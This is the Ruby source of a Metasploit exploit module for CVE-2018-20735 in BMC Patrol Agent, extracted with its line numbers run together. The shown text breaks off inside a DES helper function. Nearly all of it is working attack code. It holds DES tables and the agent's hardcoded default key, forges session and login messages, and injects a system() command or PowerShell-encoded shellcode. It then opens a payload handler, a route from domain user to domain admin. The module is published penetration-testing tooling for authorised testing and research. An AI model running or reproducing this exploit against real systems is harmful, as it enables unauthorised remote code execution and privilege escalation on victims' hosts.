Path: blob/master/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb
30176 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'zlib'56class MetasploitModule < Msf::Exploit::Remote7Rank = ExcellentRanking8include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Powershell1011@deflater = nil12@inflater = nil1314SBOXES = [150x20022000, 0x20000000, 0x0, 0x20022000, 0x0, 0x20022000, 0x20000000, 0x0, 0x20022000,160x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x0, 0x20000000, 0x20000000, 0x0,170x22000, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x22000,180x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x0, 0x0, 0x20022000, 0x22000,190x20000000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x22000,200x20022000, 0x0, 0x20022000, 0x0, 0x0, 0x20000000, 0x20022000, 0x20022000, 0x20000000,210x22000, 0x0, 0x22000, 0x20000000, 0x0, 0x20000000, 0x0, 0x22000, 0x20022000, 0x0,220x20000000, 0x22000, 0x20022000, 0x802, 0x2, 0x8000800, 0x8000802, 0x800, 0x8000002,230x8000002, 0x8000800, 0x8000002, 0x802, 0x802, 0x8000000, 0x8000800, 0x800,240x0, 0x8000002, 0x2, 0x8000000, 0x800, 0x2, 0x8000802, 0x802, 0x8000000, 0x800, 0x8000000,250x0, 0x2, 0x8000802, 0x0, 0x8000800, 0x8000802, 0x0, 0x0, 0x8000802, 0x800, 0x8000002,260x802, 0x2, 0x8000000, 0x800, 0x8000802, 0x0, 0x2, 0x8000800, 0x8000002, 0x8000000,270x8000800, 0x802, 0x8000802, 0x2, 0x802, 0x8000800, 0x800, 0x8000000, 0x8000002,280x0, 0x2, 0x800, 0x8000800, 0x802, 0x8000000, 0x8000802, 0x0, 0x8000002, 0x2200004,290x0, 0x2200000, 0x0, 0x4, 0x2200004, 0x2200000, 0x2200000, 0x2200000, 0x4, 0x4, 0x2200000,300x4, 0x2200000, 0x0, 0x4, 0x0, 0x2200004, 0x4, 0x2200000, 0x2200004, 0x0, 0x0, 0x4, 0x2200004,310x2200004, 0x2200000, 0x4, 0x0, 0x0, 0x2200004, 0x2200004, 0x4, 0x2200000, 0x2200000,320x2200004, 0x2200004, 0x4, 0x4, 0x0, 0x0, 0x2200004, 0x0, 0x4, 0x2200000, 0x0, 0x2200004,330x2200004, 0x2200000, 0x2200000, 0x0, 0x4, 0x4, 0x2200004, 0x2200000, 0x0, 0x4, 0x0,340x2200004, 0x2200000, 0x2200004, 0x4, 0x0, 0x2200000, 0x1100004, 0x0, 0x4, 0x1100004,350x1100000, 0x0, 0x1100000, 0x4, 0x0, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100004, 0x1100004,360x0, 0x4, 0x1100000, 0x1100004, 0x0, 0x4, 0x1100000, 0x0, 0x4, 0x1100000, 0x4, 0x1100004,370x1100000, 0x1100000, 0x4, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100000, 0x4, 0x1100004,380x4, 0x1100000, 0x0, 0x1100000, 0x0, 0x4, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100000,390x1100004, 0x0, 0x0, 0x1100000, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100004, 0x4, 0x0,400x1100000, 0x1100000, 0x0, 0x1100004, 0x4, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,410x0, 0x400, 0x10000400, 0x400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x400,420x0, 0x10000000, 0x0, 0x10000000, 0x10000400, 0x400, 0x400, 0x10000400, 0x10000000,430x0, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x10000400, 0x0, 0x0, 0x10000400,440x10000400, 0x400, 0x0, 0x10000000, 0x400, 0x10000000, 0x10000000, 0x400, 0x0,450x10000400, 0x10000400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x0, 0x10000400,460x0, 0x0, 0x10000400, 0x10000000, 0x400, 0x400, 0x10000400, 0x400, 0x0, 0x10000000,470x400, 0x0, 0x10000400, 0x400, 0x10000000, 0x4011000, 0x11001, 0x0, 0x4011000,480x4000001, 0x11000, 0x4011000, 0x1, 0x11000, 0x1, 0x11001, 0x4000000, 0x4011001,490x4000000, 0x4000000, 0x4011001, 0x0, 0x4000001, 0x11001, 0x0, 0x4000000, 0x4011001,500x1, 0x4011000, 0x4011001, 0x11000, 0x4000001, 0x11001, 0x1, 0x0, 0x11000, 0x4000001,510x11001, 0x0, 0x4000000, 0x1, 0x4000000, 0x4000001, 0x11001, 0x4011000, 0x0, 0x11001,520x1, 0x4011001, 0x4000001, 0x11000, 0x4011001, 0x4000000, 0x4000001, 0x4011000,530x11000, 0x4011001, 0x1, 0x11000, 0x4011000, 0x1, 0x11000, 0x0, 0x4011001, 0x4000000,540x4011000, 0x4000001, 0x0, 0x11001, 0x40002, 0x40000, 0x2, 0x40002, 0x0, 0x0, 0x40002,550x2, 0x40000, 0x2, 0x0, 0x40002, 0x2, 0x40002, 0x0, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40000,560x40002, 0x0, 0x40000, 0x40002, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40002, 0x0, 0x2, 0x40002,570x0, 0x2, 0x40000, 0x40000, 0x2, 0x0, 0x40002, 0x0, 0x40000, 0x2, 0x0, 0x2, 0x40000, 0x40000,580x0, 0x40002, 0x40002, 0x0, 0x40002, 0x2, 0x40000, 0x40002, 0x2, 0x40000, 0x0, 0x40002,590x40002, 0x0, 0x2, 0x40000, 0x20000110, 0x40000, 0x20000000, 0x20040110, 0x0, 0x40110,600x20040000, 0x20000110, 0x40110, 0x20040000, 0x40000, 0x20000000, 0x20040000,610x20000110, 0x110, 0x40000, 0x20040110, 0x110, 0x0, 0x20000000, 0x110, 0x20040000,620x40110, 0x0, 0x20000000, 0x0, 0x20000110, 0x40110, 0x40000, 0x20040110, 0x20040110,630x110, 0x20040110, 0x20000000, 0x110, 0x20040000, 0x110, 0x40000, 0x20000000,640x40110, 0x20040000, 0x0, 0x0, 0x20000110, 0x0, 0x20040110, 0x40110, 0x0, 0x40000,650x20040110, 0x20000110, 0x110, 0x20040110, 0x20000000, 0x40000, 0x20000110,660x20000110, 0x110, 0x40110, 0x20040000, 0x20000000, 0x40000, 0x20040000, 0x40110,670x0, 0x4000000, 0x11000, 0x4011008, 0x4000008, 0x11000, 0x4011008, 0x4000000,680x4000000, 0x8, 0x8, 0x4011000, 0x11008, 0x4000008, 0x4011000, 0x0, 0x4011000, 0x0,690x4000008, 0x11008, 0x11000, 0x4011008, 0x0, 0x8, 0x8, 0x11008, 0x4011008, 0x4000008,700x4000000, 0x11000, 0x11008, 0x4011000, 0x4011000, 0x11008, 0x4000008, 0x4000000,710x4000000, 0x8, 0x8, 0x11000, 0x0, 0x4011000, 0x4011008, 0x0, 0x4011008, 0x0, 0x11000,720x4000008, 0x11008, 0x11000, 0x0, 0x4011008, 0x4000008, 0x4011000, 0x11008, 0x4000000,730x4011000, 0x4000008, 0x11000, 0x11008, 0x8, 0x4011008, 0x4000000, 0x8, 0x22000,740x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,750x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,760x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,770x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,780x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x110, 0x110,790x0, 0x80000, 0x110, 0x80000, 0x80110, 0x0, 0x80110, 0x80110, 0x80000, 0x0, 0x80000,800x110, 0x0, 0x80110, 0x0, 0x80110, 0x110, 0x0, 0x80000, 0x110, 0x80000, 0x110, 0x80110,810x0, 0x0, 0x80110, 0x110, 0x80000, 0x80110, 0x80000, 0x80110, 0x0, 0x80000, 0x80110,820x80000, 0x110, 0x0, 0x80000, 0x0, 0x80000, 0x110, 0x0, 0x110, 0x80110, 0x80000, 0x110,830x80110, 0x80000, 0x0, 0x80110, 0x110, 0x0, 0x80110, 0x0, 0x80000, 0x110, 0x80110,840x80000, 0x0, 0x80110, 0x110, 0x110, 0x2200000, 0x8, 0x0, 0x2200008, 0x8, 0x0, 0x2200000,850x8, 0x0, 0x2200008, 0x8, 0x2200000, 0x2200000, 0x2200000, 0x2200008, 0x8, 0x8, 0x2200000,860x2200008, 0x0, 0x0, 0x0, 0x2200008, 0x2200008, 0x2200008, 0x2200008, 0x2200000,870x0, 0x0, 0x8, 0x8, 0x2200000, 0x0, 0x2200000, 0x2200000, 0x8, 0x2200008, 0x8, 0x0, 0x2200000,880x2200000, 0x0, 0x2200008, 0x8, 0x8, 0x2200008, 0x8, 0x0, 0x2200008, 0x8, 0x8, 0x2200000,890x2200000, 0x2200008, 0x8, 0x0, 0x0, 0x2200000, 0x2200000, 0x2200008, 0x2200008,900x0, 0x0, 0x2200008, 0x1100000, 0x800, 0x800, 0x1, 0x1100801, 0x1100001, 0x1100800,910x0, 0x0, 0x801, 0x801, 0x1100000, 0x1, 0x1100800, 0x1100000, 0x801, 0x801, 0x1100000,920x1100001, 0x1100801, 0x0, 0x800, 0x1, 0x1100800, 0x1100001, 0x1100801, 0x1100800,930x1, 0x1100801, 0x1100001, 0x800, 0x0, 0x1100801, 0x1100000, 0x1100001, 0x801,940x1100000, 0x800, 0x0, 0x1100001, 0x801, 0x1100801, 0x1100800, 0x0, 0x800, 0x1, 0x1,950x800, 0x0, 0x801, 0x800, 0x1100800, 0x801, 0x1100000, 0x1100801, 0x0, 0x1100800,960x1, 0x1100001, 0x1100801, 0x1, 0x1100800, 0x1100000, 0x1100001, 0x0, 0x0, 0x400,970x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, 0x10000400, 0x10000000, 0x400,980x10000000, 0x400, 0x400, 0x10000000, 0x10000400, 0x0, 0x10000000, 0x10000400,990x0, 0x400, 0x10000400, 0x0, 0x10000400, 0x10000000, 0x400, 0x10000000, 0x10000000,1000x10000400, 0x0, 0x400, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400,1010x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x0, 0x10000400, 0x10000000, 0x400,1020x0, 0x10000400, 0x400, 0x0, 0x10000000, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,1030x10000000, 0x10000400, 0x10000400, 0x400, 0x400, 0x10000000, 0x220, 0x8000000,1040x8000220, 0x0, 0x8000000, 0x220, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220,1050x8000220, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, 0x220, 0x8000000, 0x8000220,1060x220, 0x0, 0x8000000, 0x0, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000000, 0x220,1070x0, 0x8000000, 0x220, 0x8000220, 0x8000220, 0x0, 0x0, 0x8000000, 0x220, 0x8000220,1080x8000000, 0x220, 0x8000000, 0x220, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,1090x8000000, 0x8000220, 0x8000220, 0x0, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,1100x8000000, 0x8000220, 0x80220, 0x80220, 0x0, 0x0, 0x80000, 0x220, 0x80220, 0x80220,1110x0, 0x80000, 0x220, 0x0, 0x220, 0x80000, 0x80000, 0x80220, 0x0, 0x220, 0x220, 0x80000,1120x80220, 0x80000, 0x0, 0x220, 0x80000, 0x220, 0x80000, 0x80220, 0x220, 0x0, 0x80220,1130x0, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x80000, 0x0, 0x220, 0x80220, 0x80000, 0x80000,1140x220, 0x80220, 0x0, 0x220, 0x80000, 0x80220, 0x220, 0x80220, 0x80000, 0x220, 0x0,1150x80000, 0x80220, 0x0, 0x80220, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x220116].freeze117118PC1 = "\x38\x30\x28\x20\x18\x10\x8\x0\x39\x31\x29\x21\x19\x11\x9"\119"\x1\x3A\x32\x2A\x22\x1A\x12\x0A\x2\x3B\x33\x2B\x23\x3E\x36"\120"\x2E\x26\x1E\x16\x0E\x6\x3D\x35\x2D\x25\x1D\x15\x0D\x5\x3C"\121"\x34\x2C\x24\x1C\x14\x0C\x4\x1B\x13\x0B\x3\x0\x0\x0\x0\x0\x0\x0\x0".freeze122123PC2 = "\x0D\x10\x0A\x17\x0\x4\x2\x1B\x0E\x5\x14\x9\x16\x12\x0B\x3"\124"\x19\x7\x0F\x6\x1A\x13\x0C\x1\x28\x33\x1E\x24\x2E\x36\x1D"\125"\x27\x32\x2C\x20\x2F\x2B\x30\x26\x37\x21\x34\x2D\x29\x31"\126"\x23\x1C\x1F".freeze127128SBOX_BYTE_ORDER = [1291, 2, 4, 8, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000,1300x4000, 0x8000, 0x10000, 0x20000, 0x40000, 0x80000, 0x100000, 0x200000, 0x400000,1310x800000, 0x1000000, 0x2000000, 0x4000000, 0x8000000, 0x10000000, 0x20000000,1320x40000000, 0x80000000133].freeze134135ROTATIONS = "\x1\x1\x2\x2\x2\x2\x2\x2\x1\x2\x2\x2\x2\x2\x2\x1".freeze136INIT_DES_KEY_0 = "\x9a\xd3\xbc\x24\x10\xe2\x8f\x0e".freeze137INIT_DES_KEY_1 = "\xe2\x95\x14\x33\x59\xc3\xec\xa8".freeze138139DES_ENCRYPT = 0140141def initialize(info = {})142super(143update_info(144info,145'Name' => 'BMC Patrol Agent Privilege Escalation Cmd Execution',146'Description' => %q{147This module leverages the remote command execution feature provided by148the BMC Patrol Agent software. It can also be used to escalate privileges149on Windows hosts as the software runs as SYSTEM but only verfies that the password150of the provided user is correct. This also means if the software is running on a151domain controller, it can be used to escalate from a normal domain user to domain152admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses153powershell to execute the payload. The powershell version tends to timeout on154the first run so it may take multiple tries.155},156'License' => MSF_LICENSE,157'Author' => [158'b0yd' # @rwincey / Vulnerability Discovery and MSF module author159],160'References' => [161['CVE', '2018-20735'],162['URL', 'https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/']163],164'Targets' => [165[166'Windows Powershell Injected Shellcode', {167'Platform' => 'win'168}169],170[171'Generic Command Callback', {172'Arch' => ARCH_CMD,173'Platform' => %w[linux unix win]174}175]176],177'Privileged' => true,178'DefaultTarget' => 0,179'DefaultOptions' => {180'DisablePayloadHandler' => true181},182'DisclosureDate' => '2019-01-17',183'Notes' => {184'Reliability' => UNKNOWN_RELIABILITY,185'Stability' => UNKNOWN_STABILITY,186'SideEffects' => UNKNOWN_SIDE_EFFECTS187}188)189)190191register_options(192[193Opt::RPORT(3181),194OptString.new('USER', [true, 'local or domain user to authenticate with patrol', 'patrol']),195OptString.new('PASSWORD', [true, 'password to authenticate with patrol', 'password']),196OptString.new('CMD', [false, 'command to run on the target. If this option is specified the payload will be ignored.'])197]198)199end200201def cleanup202disconnect203print_status('Disconnected from BMC Patrol Agent.')204@inflater.close205@deflater.close206super207end208209def get_target_os(srv_info_msg)210lines = srv_info_msg.split("\n")211fail_with(Failure::UnexpectedReply, 'Invalid server info msg.') if lines[0] != 'MS' && lines[1] != '{' && lines[-1] != '}'212213os = nil214ver = nil215lines[2..-2].each do |i|216val = i.split('=')217if val.length == 2218if val[0].strip! == 'T'219os = val[1]220elsif val[0].strip! == 'VER'221ver = val[1]222end223end224end225[os, ver]226end227228def get_cmd_output(cmd_output_msg)229lines = cmd_output_msg.split("\n")230fail_with(Failure::UnexpectedReply, 'Invalid command output msg.') if lines[0] != 'PEM_MSG' && lines[1] != '{' && lines[-1] != '}'231232# Parse out command results233idx_start = cmd_output_msg.index("Result\x00")234idx_end = cmd_output_msg.index('RemPsl_user')235output = cmd_output_msg[idx_start + 7..idx_end - 1]236237output238end239240def exploit241# Manually start the handler if not running a single command242if datastore['CMD'].nil? || datastore['CMD'].empty?243244# Set to nil if the cmd is empty for checks further down245datastore['CMD'] = nil246datastore['DisablePayloadHandler'] = false247248# Configure the payload handler249payload_instance.exploit_config = {250'active_timeout' => 300251}252# Setup the payload handler253payload_instance.setup_handler254255# Start the payload handler256payload_instance.start_handler257258end259260# Initialize zlib objects261@deflater = Zlib::Deflate.new(4, 15, Zlib::MAX_MEM_LEVEL, Zlib::DEFAULT_STRATEGY)262@inflater = Zlib::Inflate.new263264# Connect to the BMC Patrol Agent265connect266print_status('Connected to BMC Patrol Agent.')267268# Create session msg269create_session270ret_data = receive_msg271fail_with(Failure::UnexpectedReply, 'Failed to receive session confirmation. Aborting.') if ret_data.nil?272273# Authenticate274authenticate_user(datastore['USER'], datastore['PASSWORD'])275276# Receive the authentication response277ret_data = receive_msg278fail_with(Failure::UnexpectedReply, 'Failed to receive authentication response. Aborting.') if ret_data.nil?279280ret_msg = process_response(ret_data)281if ret_msg =~ /logged in/282print_status('Successfully authenticated user.')283else284fail_with(Failure::UnexpectedReply, 'Login failed. Aborting.')285end286287# Receive the server info288ret_data = receive_msg289fail_with(Failure::UnexpectedReply, 'Failed to receive server info msg. Aborting.') if ret_data.nil?290srv_info = process_response(ret_data)291292# Get the target's OS from their info msg293target_os = get_target_os(srv_info)294295# When using autotargeting, MSF selects the Windows meterpreter as the default payload.296# Fail if this is the case and ask the user to select an appropriate payload.297if target_os[0] == 'Linux' && payload_instance.name =~ /Windows/ && datastore['CMD'].nil?298fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")299end300301target_name = target.name302if !datastore['CMD'].nil?303command = datastore['CMD'].tr('"', '\"')304print_status("Command to execute: #{command}")305elsif target_name == 'Windows Powershell Injected Shellcode'306# Get encoded powershell of payload307command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')308else309command = payload.raw.tr('"', '\"')310end311312# Run command313run_cmd(command)314315# Receive command confirmation316ret_data = receive_msg317if !ret_data.nil?318process_response(ret_data)319end320321# Receive command output322ret_data = receive_msg323if !ret_data.nil? && !datastore['CMD'].nil?324cmd_result_data = process_response(ret_data)325cmd_result = get_cmd_output(cmd_result_data)326print_status("Output:\n#{cmd_result}")327end328329# Handle the shell330handler331end332333def receive_msg334header = sock.get_once(6)335if header.nil?336return337end338339payload_size_arr = header[0, 4]340payload_size = payload_size_arr.unpack1('N')341payload = ''342if payload_size > 0343payload = sock.get_once(payload_size)344if payload.nil?345return346end347end348349return header + payload350end351352def send_msg(type, compression, data)353data_len = data.length354buf = [data_len].pack('N')355356# Set the type357buf += [type].pack('C')358359# Set compression flag360buf += [compression].pack('C')361362# Add data363buf += data364365# Send msg366sock.put(buf)367end368369def process_response(ret_data)370# While style checks complain, I intend to leave this parsing371# in place for debugging purposes372ret_size_arr = ret_data[0, 4]373ret_size = ret_size_arr.unpack1('N') # rubocop:disable Lint/UselessAssignment374375msg_type = ret_data[4, 1] # rubocop:disable Lint/UselessAssignment376comp_flag = ret_data[5, 1]377378payload_data = ret_data[6..-1]379if comp_flag == "\x00"380bin_data = payload_data.unpack1('H*') # rubocop:disable Lint/UselessAssignment381payload_data = @inflater.inflate(payload_data)382end383384return payload_data385end386387def run_cmd(cmd)388user_num = rand 1000..9999389msg_1 = %(R_E390{391\tRE_ID=1392\tRE_PDESC=0\tRemPsl\tsystem("#{cmd}");\tRemPsl_user_#{user_num}393\tRE_ORG=PemApi394\tRE_SEV=1395\tRE_NSEV=5396\tRE_ST=397}398)399400msg_1 += "\x00"401# Compress the message402comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH403send_msg(0x44, 0x0, comp_data)404end405406def identify(user)407inner_len = 15408msg_type = 8409len_str = [inner_len].pack('N')410msg_str = [msg_type].pack('N')411msg_1 = %(PEM_MSG412{413\tNSDL=#{inner_len}414\tPEM_DGRAM=#{len_str}#{msg_str}#{user}\x00415}416)417msg_1 += "\x00"418print_status("Msg: #{msg_1}")419bin_data = msg_1.unpack1('H*') # rubocop:disable Lint/UselessAssignment420# Compress the message421comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH422send_msg(0x44, 0x0, comp_data)423end424425def create_session426sess_msg = "\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\x00\x04\x02\x04\x03\x10\x00\x00\x03\x04\x00\x00\x00\x00\x01\x01\x04\x00\xff\x00\x00\x00"427sess_msg += "\x00" * 0x68428send_msg(0x45, 0x2, sess_msg)429end430431def authenticate_user(user, password)432# Default encryption key433enc_key = 'k$C4}@"_'434output_data = des_crypt_func(password, enc_key, DES_ENCRYPT)435# Convert to hex string436encrpted_pw = output_data.unpack1('H*')437des_pw = encrpted_pw.upcase438439msg_1 = %(ID440{441\tHOST=user442\tUSER=#{user}443\tPASS=#{des_pw}444\tVER=V9.6.00445\tT=PEMAPI446\tHTBT=1447\tTMOT=1728000448\tRTRS=3449}450)451452msg_1 += "\x00"453comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH454send_msg(0x44, 0x0, comp_data)455end456457def rotate_block_init(input_block_tuple)458v6 = 0459v5 = 0460input_block_tuple = input_block_tuple.pack('V*').unpack('i*')461v3 = input_block_tuple[0]462v4 = input_block_tuple[1]463464if (v4 & 0x2000000) != 0465v5 = 1466end467if (v4 & 0x20000) != 0468v5 |= 2469end470if (v4 & 0x200) != 0471v5 |= 4472end473if (v4 & 2) != 0474v5 |= 8475end476if (v3 & 0x2000000) != 0477v5 |= 0x10478end479if (v3 & 0x20000) != 0480v5 |= 0x20481end482if (v3 & 0x200) != 0483v5 |= 0x40484end485if (v3 & 2) != 0486v5 |= 0x80487end488if (v4 & 0x8000000) != 0489v5 |= 0x100490end491if (v4 & 0x80000) != 0492v5 |= 0x200493end494if (v4 & 0x800) != 0495v5 |= 0x400496end497if (v4 & 8) != 0498v5 |= 0x800499end500if (v3 & 0x8000000) != 0501v5 |= 0x1000502end503if (v3 & 0x80000) != 0504v5 |= 0x2000505end506if (v3 & 0x800) != 0507v5 |= 0x4000508end509if (v3 & 8) != 0510v5 |= 0x8000511end512if (v4 & 0x20000000) != 0513v5 |= 0x10000514end515if (v4 & 0x200000) != 0516v5 |= 0x20000517end518if (v4 & 0x2000) != 0519v5 |= 0x40000520end521if (v4 & 0x20) != 0522v5 |= 0x80000523end524if (v3 & 0x20000000) != 0525v5 |= 0x100000526end527if (v3 & 0x200000) != 0528v5 |= 0x200000529end530if (v3 & 0x2000) != 0531v5 |= 0x400000532end533if (v3 & 0x20) != 0534v5 |= 0x800000535end536if (v4 < 0)537v5 |= 0x1000000538end539if (v4 & 0x800000) != 0540v5 |= 0x2000000541end542if (v4 & 0x8000) != 0543v5 |= 0x4000000544end545if (v4 & 0x80) != 0546v5 |= 0x8000000547end548if (v3 < 0)549v5 |= 0x10000000550end551if (v3 & 0x800000) != 0552v5 |= 0x20000000553end554if (v3 & 0x8000) != 0555v5 |= 0x40000000556end557if (v3 & 0x80) != 0558v5 |= 0x80000000559end560if (v4 & 0x1000000) != 0561v6 = 1562end563if (v4 & 0x10000) != 0564v6 |= 2565end566if (v4 & 0x100) != 0567v6 |= 4568end569if (v4 & 1) != 0570v6 |= 8571end572if (v3 & 0x1000000) != 0573v6 |= 0x10574end575if (v3 & 0x10000) != 0576v6 |= 0x20577end578if (v3 & 0x100) != 0579v6 |= 0x40580end581if (v3 & 1) != 0582v6 |= 0x80583end584if (v4 & 0x4000000) != 0585v6 |= 0x100586end587if (v4 & 0x40000) != 0588v6 |= 0x200589end590if (v4 & 0x400) != 0591v6 |= 0x400592end593if (v4 & 4) != 0594v6 |= 0x800595end596if (v3 & 0x4000000) != 0597v6 |= 0x1000598end599if (v3 & 0x40000) != 0600v6 |= 0x2000601end602if (v3 & 0x400) != 0603v6 |= 0x4000604end605if (v3 & 4) != 0606v6 |= 0x8000607end608if (v4 & 0x10000000) != 0609v6 |= 0x10000610end611if (v4 & 0x100000) != 0612v6 |= 0x20000613end614if (v4 & 0x1000) != 0615v6 |= 0x40000616end617if (v4 & 0x10) != 0618v6 |= 0x80000619end620if (v3 & 0x10000000) != 0621v6 |= 0x100000622end623if (v3 & 0x100000) != 0624v6 |= 0x200000625end626if (v3 & 0x1000) != 0627v6 |= 0x400000628end629if (v3 & 0x10) != 0630v6 |= 0x800000631end632if (v4 & 0x40000000) != 0633v6 |= 0x1000000634end635if (v4 & 0x400000) != 0636v6 |= 0x2000000637end638if (v4 & 0x4000) != 0639v6 |= 0x4000000640end641if (v4 & 0x40) != 0642v6 |= 0x8000000643end644if (v3 & 0x40000000) != 0645v6 |= 0x10000000646end647if (v3 & 0x400000) != 0648v6 |= 0x20000000649end650if (v3 & 0x4000) != 0651v6 |= 0x40000000652end653if (v3 & 0x40) != 0654v6 |= 0x80000000655end656657# Create return tuple658ret_block = Array.new659ret_block.push v5660ret_block.push v6661ret_block662end663664def rotate_block_final(input_block_tuple)665v6 = 0666v5 = 0667input_block_tuple = input_block_tuple.pack('V*').unpack('i*')668v3 = input_block_tuple[0]669v4 = input_block_tuple[1]670671if (v4 & 0x80) != 0672v5 = 1673end674if (v3 & 0x80) != 0675v5 |= 2676end677if (v4 & 0x8000) != 0678v5 |= 4679end680if (v3 & 0x8000) != 0681v5 |= 8682end683if (v4 & 0x800000) != 0684v5 |= 0x10685end686if (v3 & 0x800000) != 0687v5 |= 0x20688end689if (v4 < 0)690v5 |= 0x40691end692if (v3 < 0)693v5 |= 0x80694end695if (v4 & 0x40) != 0696v5 |= 0x100697end698if (v3 & 0x40) != 0699v5 |= 0x200700end701if (v4 & 0x4000) != 0702v5 |= 0x400703end704if (v3 & 0x4000) != 0705v5 |= 0x800706end707if (v4 & 0x400000) != 0708v5 |= 0x1000709end710if (v3 & 0x400000) != 0711v5 |= 0x2000712end713if (v4 & 0x40000000) != 0714v5 |= 0x4000715end716if (v3 & 0x40000000) != 0717v5 |= 0x8000718end719if (v4 & 0x20) != 0720v5 |= 0x10000721end722if (v3 & 0x20) != 0723v5 |= 0x20000724end725if (v4 & 0x2000) != 0726v5 |= 0x40000727end728if (v3 & 0x2000) != 0729v5 |= 0x80000730end731if (v4 & 0x200000) != 0732v5 |= 0x100000733end734if (v3 & 0x200000) != 0735v5 |= 0x200000736end737if (v4 & 0x20000000) != 0738v5 |= 0x400000739end740if (v3 & 0x20000000) != 0741v5 |= 0x800000742end743if (v4 & 0x10) != 0744v5 |= 0x1000000745end746if (v3 & 0x10) != 0747v5 |= 0x2000000748end749if (v4 & 0x1000) != 0750v5 |= 0x4000000751end752if (v3 & 0x1000) != 0753v5 |= 0x8000000754end755if (v4 & 0x100000) != 0756v5 |= 0x10000000757end758if (v3 & 0x100000) != 0759v5 |= 0x20000000760end761if (v4 & 0x10000000) != 0762v5 |= 0x40000000763end764if (v3 & 0x10000000) != 0765v5 |= 0x80000000766end767if (v4 & 8) != 0768v6 = 1769end770if (v3 & 8) != 0771v6 |= 2772end773if (v4 & 0x800) != 0774v6 |= 4775end776if (v3 & 0x800) != 0777v6 |= 8778end779if (v4 & 0x80000) != 0780v6 |= 0x10781end782if (v3 & 0x80000) != 0783v6 |= 0x20784end785if (v4 & 0x8000000) != 0786v6 |= 0x40787end788if (v3 & 0x8000000) != 0789v6 |= 0x80790end791if (v4 & 4) != 0792v6 |= 0x100793end794if (v3 & 4) != 0795v6 |= 0x200796end797if (v4 & 0x400) != 0798v6 |= 0x400799end800if (v3 & 0x400) != 0801v6 |= 0x800802end803if (v4 & 0x40000) != 0804v6 |= 0x1000805end806if (v3 & 0x40000) != 0807v6 |= 0x2000808end809if (v4 & 0x4000000) != 0810v6 |= 0x4000811end812if (v3 & 0x4000000) != 0813v6 |= 0x8000814end815if (v4 & 2) != 0816v6 |= 0x10000817end818if (v3 & 2) != 0819v6 |= 0x20000820end821if (v4 & 0x200) != 0822v6 |= 0x40000823end824if (v3 & 0x200) != 0825v6 |= 0x80000826end827if (v4 & 0x20000) != 0828v6 |= 0x100000829end830if (v3 & 0x20000) != 0831v6 |= 0x200000832end833if (v4 & 0x2000000) != 0834v6 |= 0x400000835end836if (v3 & 0x2000000) != 0837v6 |= 0x800000838end839if (v4 & 1) != 0840v6 |= 0x1000000841end842if (v3 & 1) != 0843v6 |= 0x2000000844end845if (v4 & 0x100) != 0846v6 |= 0x4000000847end848if (v3 & 0x100) != 0849v6 |= 0x8000000850end851if (v4 & 0x10000) != 0852v6 |= 0x10000000853end854if (v3 & 0x10000) != 0855v6 |= 0x20000000856end857if (v4 & 0x1000000) != 0858v6 |= 0x40000000859end860if (v3 & 0x1000000) != 0861v6 |= 0x80000000862end863864# Create return tuple865ret_block = Array.new866ret_block.push v5867ret_block.push v6868ret_block869end870871def load(a1)872a2 = Array.new(8, 0)873v3 = a1874a2[0] = a1 & 0xff875v3 >>= 3876a2[1] = v3 & 0xff877v3 >>= 4878a2[2] = v3 & 0xff879v3 >>= 4880a2[3] = v3 & 0xff881v3 >>= 4882a2[4] = v3 & 0xff883v3 >>= 4884a2[5] = v3 & 0xff885v3 >>= 4886a2[6] = v3 & 0xff887v3 >>= 4888a2[7] = v3 & 0xff889a2[0] = (a2[0] * 2) & 0xff890a2[7] |= (16 * a2[0]) & 0xff891v3 >>= 4892a2[0] |= v3 & 0xff893894data_block = a2.pack('c*').unpack('V*')895data_block[0] &= 